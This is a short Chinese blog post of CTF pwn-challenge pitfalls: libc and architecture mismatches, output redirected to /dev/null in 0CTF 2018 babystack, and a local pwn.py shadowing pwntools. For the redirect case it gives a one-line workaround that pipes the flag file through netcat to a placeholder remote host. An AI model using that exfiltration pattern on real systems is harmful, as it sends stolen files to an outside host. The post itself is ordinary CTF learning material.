• Home
  • About
    • Rhy7hm photo

      Rhy7hm

      天天被计算机教做人

    • Learn More
    • Email
  • Posts
    • All Posts
    • All Tags
  • Projects

做pwn题遇到的一千零一个奇怪的场合

02 Apr 2019

Reading time ~1 minute

pwn题-与服务器不同的一万种场合

0x0

↑哇好可爱(×)

libc不同。感觉这个最常见。

=x=

操作系统不同。

当年做一道32x的题的时候,同样的脚本能pwn服务器不能pwn本机。

服务器是64位的,而我的虚拟机是32位的。

原因是exp里用到了write函数,

write(fd,*buf,len)

而*buf+len所在地址在64x有在32位没有(还是不可写之类的,whatever)……

QWQ

输出被重定向

如0ctf2018的babystack中

def exec_serv(name, payload):
    p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file('/dev/null','w'), stderr=subprocess.STDOUT)
    p.stdin.write(payload)
    p.wait()

if __name__ == '__main__':
    proof_of_work()
    payload = sys.stdin.read(0x100)
    exec_serv('./babystack', payload)
就无法直接get shell,需要system(“cat flag nc xxx.xxx.xxx.xxx xxxx”)这样才能get flag

一个库在这个目录下import没事,在另一个目录不行……的场合

有一天……我……开了个文件……名为pwn.py

并在第一行……写下了……

from pwn import *
context.log_level = 'debug'

这样的代码……

然后……

Traceback (most recent call last):
  File "pwn.py", line 1, in <module>
    from pwn import *
  File "/home/rhythm/pwn.py", line 2, in <module>
    context.log_level = 'debug'
NameError: name 'context' is not defined

作为一个神志清晰的人……应该能一眼看出……

它以为我要import的pwn是 我自己写的pwn.py ……而且不是 pwntools ……

但如果……那时候……刚好神志不清……真的很容易绕进去……

甚至做出开n个窗口……

发现……

“咦别的目录下from pwn imort *没事……

但是在这个目录下from pwn imort *又报错了”

然后越来越迷惑……

看了下pwnlib源码也没发现什么问题……

甚至开始更新系统pip重装pwntools……

即使这个问题你之前帮助别人解决过……

总之

!!!请时刻谨记,写一个名字和导入库名字相同的脚本,是业界规范,谢谢,我爱人类



pwn Share Tweet +1